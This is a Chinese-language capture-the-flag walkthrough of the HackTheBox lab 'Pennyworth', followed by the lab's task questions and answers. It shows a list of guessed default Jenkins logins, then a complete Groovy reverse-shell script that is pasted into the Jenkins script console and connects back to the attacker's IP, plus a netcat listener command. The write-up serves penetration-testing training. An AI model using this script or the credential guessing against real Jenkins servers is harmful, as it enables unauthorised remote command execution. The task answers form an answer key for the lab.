HackTheBox-Pennyworth

admin 2024年2月29日14:21:41评论7 views字数 1780阅读5分56秒阅读模式

初始点1级第九关Pennyworth

获取目标机IP。

HackTheBox-Pennyworth

nmap扫描目标开放端口。

nmap -sC -sV {target_IP}
-sC:脚本扫描
-sV:版本检测

HackTheBox-Pennyworth

8080端口开放,http服务器上运行jetty服务。

浏览器访问8080端口。

HackTheBox-Pennyworth

jenkins是一个持续集成的工具,尝试默认账号密码登录,如下:

admin:password

admin:admin

root:root

root:password

admin:admin1

admin:password1

root:password1

root/password登录成功,而且在页面的右下角发现jenkins版本。

HackTheBox-Pennyworth

可以到网上查找jenkins当前版本有没有已知CVE或者其他攻击方法,搜索jenkins漏洞时发现一篇Jenkins功能未授权访问导致的远程命令执行漏洞的文章。

登陆后,进入系统管理。

HackTheBox-Pennyworth

下滑发现有一个脚本命令行的功能。

HackTheBox-Pennyworth

利用该功能可以执行系统命令,该功能是jenkins很正常的一个功能,可是一些管理账户采用弱口令,管理后台存在未授权访问,导致该功能被利用。

该功能只执行groovy命令,我们可以编写和运行groovy脚本,尝试在脚本命令行功能中插入反弹shell脚本。

脚本如下:

String host="{your_IP}"
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

主机IP可以用ifconfig命令查看。

执行以下命令,攻击机监听8000端口。

nc -lvnp 8000
-l:监听模式
-v:详细模式
-n:直接使用IP地址,而不通过域名服务器。
-p:指定端口

HackTheBox-Pennyworth

jenkins脚本命令行功能中插入我们编写的groovy脚本,run。

HackTheBox-Pennyworth

脚本运行后,返回我们端口监听。

反弹shell,在/root目录发现flag.txt。

HackTheBox-Pennyworth

Pennyworth任务

任务1

问:缩写 CVE 代表什么?

答:Common Vulnerabilities and Exposures

任务2

问:CIA 中的三个字母,指的是 CIA 在网络安全方面的三合会,代表什么?

答:confidentiality, integrity, availability

任务3

问:8080 端口上运行的服务版本是什么?

答:Jetty 9.4.39.v20210325

任务4

问:目标上运行的 Jenkins 版本是什么?

答:2.289.1

任务5

问:Jenkins 脚本控制台接受什么类型的脚本作为输入?

答:Groovy

任务6

问:如果目标 VM 运行 Windows,Groovy 脚本片段中的“String cmd”变量等于什么?

答:cmd.exe

任务7

问:我们可以使用什么命令来显示 Linux 上的网络接口信息,而不是“ip a”?

答:ifconfig

任务8

问:我们应该对 netcat 使用什么开关才能使用 UDP 传输模式?

答:-u

任务9

问:用于描述使目标主机发起与攻击者主机的连接的术语是什么?

答:reverse shell

任务10

提交flag。

总结

当事情不景气时,继续前进、坚持不懈是至关重要的。

原文始发于微信公众号(AlertSec):HackTheBox-Pennyworth

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日14:21:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-Pennyworthhttp://cn-sec.com/archives/2534004.html

发表评论

匿名网友 填写信息